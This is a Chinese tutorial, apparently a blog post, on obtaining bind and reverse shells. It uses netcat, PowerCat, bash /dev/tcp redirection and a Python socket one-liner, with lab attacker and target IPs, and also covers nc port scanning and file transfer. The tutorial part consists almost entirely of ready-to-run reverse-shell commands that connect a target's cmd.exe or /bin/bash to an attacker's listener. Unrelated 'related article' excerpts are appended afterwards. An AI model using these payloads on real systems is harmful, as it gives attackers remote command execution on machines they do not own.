反弹shell的方法和场景

Netcat反弹Shell

1 NC正向反弹shell

Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、

反弹Shell、端口监听和文件传输等操作,常用参数如下:

-c指定连接后要执行的shell命令
-e指定连接后要执行的文件名
-k配置 Socket一直存活(若不想退出 Shell后使监听断开可使用此参数)
-l监听模式
-p设置本地主机使用的通信端口
-u使用UDP传输协议,默认为TCP
-v显示指令执行过程,用-vv会更详细

1.1 实验机器

机器名称机器IP
攻击靶机192.168.1.5
目标靶机192.168.1.14

1.2 实验介绍

攻击者机器 192.168.1.5和靶机 192.168.1.14可以相互的访问,这个时候可以使用正向shell

1.3 实验复现

1)在靶机上运行:

nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器
nc64.exe -lvvp 1111 -e /bin/bash linux机器

2)在攻击机上运行以及拿到正向的shell

.\nc64.exe 192.168.1.14 1111

2 NC反向反弹Shell

2.1 实验机器

机器名称机器IP
攻击机器192.168.1.5
目标机器192.168.36.135

2.2、实验介绍

攻击者机器 192.168.1.5不能直接访问靶机,但是靶机 192.168.3.29可以访问攻击者的机器,这个时候使用反向shell

2.3 实验复现

1)在攻击者机器运行

nc64.exe -lvvp 1111 监听1111端口

2)在靶机上运行 (反弹到公网)

nc64.exe -e C:\Windows\System32\cmd.exe 192.168.1.5 1111 windos机器
nc -e /bin/bash 192.168.3.27 1111 linux机器

3)拿到反向的shell

3 Nc的其他用法

3.1、Banner 的抓取

靶机运行着ssh服务,可以查看服务的版本

nc -nv IP Port

3.2、端口探测

可以查看端口的开放情况

nc -v IP Port

多端口扫描

nc -v -z IP Port[1]-Port[65535]

3.3、端口监听

监听端口,当访问该端口会输出该信息

nc -l -p Port

4、文件传输

接受端:nc -lp Port > file

发送端:nc -vn IP Port < file -q 1 (windows是-z,Linux是-q)

4.1、 接收端文件夹下为空

4.2、 接收端执行命令

nc -lp 3306 > 1.txt

4.3、 发送端执行命令

nc64.exe -vn 192.168.1.52 3306 < 1.txt -w 1

4.4、 接收端接收到文件

5、简易聊天

5.1、vps执行 nc -l -p Port

5.2、靶机执行:nc -vn IPPort

6、连接远程主机

命令 nc -nvv IP port

PowerCat反弹Shell

1 PowerCat介绍

PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。

2 PowerCat安装

1、下载地址

https://github.com/besimorhino/powercat

2、下载下来导入

Import-Module .\powercat.ps1

3、如果提示未能加载指定模块,则可能是权限问题,输入如下代码

Set-ExecutionPolicy Unrestricted

4、输入如下命令可以查看帮助信息

powercat -h

5、如下就是安装成功

3 PowerCat命令PowerCat命令

-l监听连接
-c连接到侦听器
-p要连接或监听的端口
-e执行
-ep执行Powershell
-r中继。格式:“-r tcp:10.1.1.1:443”
-u通过UDP传输数据
-dns通过dns传输数据
-dnsft DNS故障阈值
-t超时选项。默认值:60
-I输入:文件路径(字符串),字节数组或字符串
-o控制台输出类型:“主机”,“字节”或“字符串”
-of输出文件路径
-d连接后断开连接
-rep中继器。断开连接后重新启动
-g生成有效载荷
-ge生成编码的有效载荷
-h打印帮助消息

4 PowerCat实验环境介

两台机器

机器名称机器IP
攻击机器192.168.1.5
目标靶机192.168.1.14

5 PowerCat和nc正向连接

1、靶机使用powercat执行以下命令

powercat -l -p 8080 -e cmd.exe -v

2、攻击机使用nc执行以下命令

.\nc64.exe 192.168.1.14 8080 -vv

3、查看返回结果

6 PowerCat和nc反向连接

1、靶机使用powercat执行以下命令

powercat -c 192.168.1.5 -p 8888 -v -e cmd.exe

2、攻击机使用nc执行以下命令

nc64.exe -l -p 8888 -vv

3、查看返回结果

7 PowerCat和PowerCat反向连接

1、靶机使用powercat执行以下命令

powercat -c 192.168.1.5 -p 9999 -v -ep

2、攻击机使用powercat执行以下命令

powercat -l -p 9999 -v

3、查看返回结果

8 PowerCat文件传输

1、靶机使用powercat执行以下命令

powercat -l -p 9999 -of test.txt -v

2、攻击机使用powercat执行以下命令

powercat -c 192.168.1.14 -p 9999 -i F:\学习笔记\内网代理\工具\powercat\test.txt -v

3、查看返回结果

Bash反弹shell

1 Bash介绍

Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell

Bash 反弹Shell的命令如下:

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

"bash-i"是指打开一个交互式的Shell。

"&"符号用于区分文件和文件描述符,">&"符号后面跟文件时,表示将标准输出和标准错误输出重定向至文件,">&"符号后面跟数字时表示后面的数字是文件描述符,不加"&"符号则会把后面的数字当成文件。数字"0","1","2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是指标准输出重定向, “2”是指错误输出重定向。

"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连接中传输数据。">&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出

2 实验介绍

机器名称机器IP
攻击机器192.168.1.5(Windows)
实验靶机192.168.1.24(Linux)

3 实验复现

1、攻击机器使用nc执行监听命令

nc -lvvp 9999 监听 TCP
nc -lup 9999 监听UDP

2、实验靶机执行连接命令

bash -i >&/dev/tcp/192.168.1.5/9999 0>&1

3、查看结果

Python 反弹Shell

1 Python介绍

Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。

2 Python反弹Shell介绍

python 2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3 实验介绍

机器名称机器IP
攻击机器192.168.1.5(Windows)
实验靶机192.168.1.24(Linux)

4 实验复现

1、攻击机器使用nc执行监听命令

nc -lvvp 1111 监听 TCP

2、实验靶机执行连接命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

3、查看结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/510007.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C语言指针 深入浅出讲解

指针在我的理解就是一个指向值的地址&#xff0c;地址是连续的&#xff0c;比如这个&#xff1a; 我写了一个数组&#xff0c;分别赋值4&#xff0c;5&#xff0c;6...11&#xff1b; 它们的地址分别如下&#xff1a; 可以看到地址增长是4&#xff0c;这是因为&#xff0c;地…

C++其他语法..

1.运算符重载 之前有一个案例如下所示 其中我们可以通过add方法将两个点组成一个新的点 class Point {friend Point add(Point, Point);int m_x;int m_y; public:Point(int x, int y) : m_x(x), m_y(y) {}void display() {cout << "(" << m_x <<…

Codigger Desktop:开发者的利器,每个人的好帮手(一)

在当今这个信息化、数字化的时代&#xff0c;开发者们面临着前所未有的挑战和机遇。为了更好地助力开发者们应对这些挑战&#xff0c;抓住机遇&#xff0c;Codigger应运而生。其中Codigger Desktop 是一款基于 Codigger 系统的桌面应用&#xff0c;为用户提供直观易用的操作界面…

LEAP模型的能源环境发展、碳排放建模预测及不确定性分析教程

原文链接&#xff1a;LEAP模型的能源环境发展、碳排放建模预测及不确定性分析教程https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247599754&idx4&sn243c9f8bff355235a7056c2cbb1331fa&chksmfa82076dcdf58e7b871c3369c95ead9ff1d90baa0431318b26b6abd27…

Pytorch for training1——read data/image

blog torch.utils.data.Dataset create dataset with class torch.utils.data.Dataset automaticly import torch from torch.utils.data import Datasetclass MyDataset(Dataset):def __init__(self, data):self.data datadef __getitem__(self, index):# 根据索引获取样本…

关于跑yolov5.6.1项目的一些错误情况的记录

&#xff08;1&#xff09; 错误问题一&#xff1a;TypeError: meshgrid() got multiple values for keyword argument ‘indexing’ 1.1解决方案&#xff1a;点击图片中黄色部分所在位置的文件&#xff0c;删除indexing“ij” (2)错误问题二&#xff1a;AttributeError: ‘F…

是否应该升级到ChatGPT 4.0?深度对比ChatGPT 3.5与4.0的差异

如果只是想简单地体验AI的魅力&#xff0c;感受大模型的独特之处&#xff0c;或是玩一玩文字游戏&#xff0c;那么升级至ChatGPT 4.0可能并非必需。然而&#xff0c;若你期望将AI作为提升工作学习效率的得力助手&#xff0c;那么我强烈建议你升级到ChatGPT 4.0。 如果你不知道…

【Springboot整合系列】SpringBoot整合WebService

目录 Web服务介绍Web服务的两种类型Web服务架构Web服务的主要特点Web服务使用场景Web服务标准和技术 WebService介绍WebService的作用适用场景不适用场景 WebService的原理三个角色相关概念 WebService开发框架代码实现服务端1.引入依赖2.实体类3.业务层接口接口实现类 4.配置类…

活动回顾丨掘金海外,探寻泛娱乐社交APP出海新风口

3月中旬,Flat Ads携手声网、XMP在广州成功举办“泛娱乐社交APP出海新风口——广州站”的主题线下沙龙活动。 多位大咖与泛娱乐社交APP赛道的行业伙伴汇聚一堂。本次活动邀请到Flat Ads 市场VP 王若策、声网娱乐视频产品负责人 陈际陶、XMP资深产品运营专家 屈俊星等多位行业大…

python ---- %r %s格式输出的区别

在python中&#xff0c; % s和 % r是我们常用的格式符&#xff0c;它们的用法基本一致&#xff0c;但作用却不尽相同&#xff0c;下面简要说明一下两者的区别&#xff1a; 1. % s是将对象 / 变量传递到str()方法中&#xff0c;并将其转化为面向用户的可阅读的格式。 2. % r是将…

ARM 寄存器学习:(前言)七种模式\异常源\向量表\异常返回

一、ARM的七种工作模式 Arm微处理器支持7种工作模式&#xff0c;分别为&#xff1a; 1&#xff0e; 用户模式&#xff08;Usr&#xff09; 用于正常执行程序 2&#xff0e; 系统模式&#xff08;sys&#xff09; 运行均有特权的操作系统任务 3&#…

既然有 HTTP 协议,为什么还要有 RPC?(计算机网络)

使用纯裸 TCP 会有什么问题 TCP 是有三个特点&#xff0c;面向连接、可靠、基于字节流。这里我们需要关注的是基于字节流这一点。 字节流可以理解为一个双向的通道里流淌的数据&#xff0c;这个数据其实就是我们常说的二进制数据&#xff0c;简单来说就是一大堆 01 串。纯裸 T…

物联网行业中,我们如何选择数据库?

在当今数字化潮流中&#xff0c;我们面对的不仅是海量数据&#xff0c;更是时间的涟漪。从生产线的传感器到金融市场的交易记录&#xff0c;时间序列数据成为了理解事物演变和趋势的关键。在面对这样庞大而动态的数据流时&#xff0c;我们需要深入了解一种强大的工具——时序数…

比torchvision更强大,从timm库引用预训练模型和本地加载的方法

1&#xff0c;介绍 torchvision是大家最常用的预训练模型来源&#xff0c;但是其包含的预训练模型种类很少&#xff0c;往往并不能满足研究者们的需求。 而timm库提供了一个更强大的替代选项。 利用如下代码查询 import timmprint(len(timm.list_models())) 输出 1032 可…

【C++】 vector <string> 的超详细解析!!!

目录 一、前言 二、 vector <string> 的个人理解和总结 三、vector <string> 的初始化 四、vector <string> 的输入 \ 输出 五、vector <string> 中的注意事项 六、常考面试题 七、共勉 一、前言 在【C】中&#xff0c;vector 是一个动态数组…

游戏开发各岗位的优势和劣势

在这个充满创意和技术的时代&#xff0c;游戏行业成为众多创新人才追求梦想的热土。对于那些准备踏入这个充满挑战与机遇的领域的新人来说&#xff0c;了解游戏开发的各个岗位及其独特性是至关重要的。游戏程序员、美术设计师和游戏策划——这三个核心岗位不仅构成了游戏创造的…

【SpringBoot整合系列】SpirngBoot整合EasyExcel

目录 背景需求发展 EasyExcel官网介绍优势常用注解 SpringBoot整合EaxyExcel1.引入依赖2.实体类定义实体类代码示例注解解释 3.自定义转换器转换器代码示例涉及的枚举类型 4.Excel工具类5.简单导出接口SQL 6.简单导入接口SQL 7.复杂的导出&#xff08;合并行、合并列&#xff0…

Maplesoft Maple 2024(数学科学计算)mac/win

Maplesoft Maple是一款强大的数学计算软件&#xff0c;提供了丰富的功能和工具&#xff0c;用于数学建模、符号计算、数据可视化等领域的数学分析和解决方案。 Mac版软件下载&#xff1a;Maplesoft Maple 2024 for mac激活版 WIn版软件下载&#xff1a;Maplesoft Maple 2024特别…

Kubernetes中pod的概念

pod pod是什么&#xff1a;pod是k8s中基本的构建模块&#xff0c;一个pod可以包含多个和单个容器&#xff0c;包含多个容器时&#xff0c;这些容器总是运行在同一个工作节点上&#xff0c;因为一个pod绝不会跨多个工作节点。 了解pod&#xff1a; pod将容器绑定在一起&#xf…

浅析扩散模型与图像生成【应用篇】(十五)——SDG

15. More Control for Free! Image Synthesis with Semantic Diffusion Guidance 该文提出一种基于语义引导扩散模型的的图像生成算法&#xff0c;SDG&#xff0c;可使用文本或图像作为引导来指引图像的生成&#xff0c;也可以二者同时使用&#xff0c;实现多模态的引导。增加引…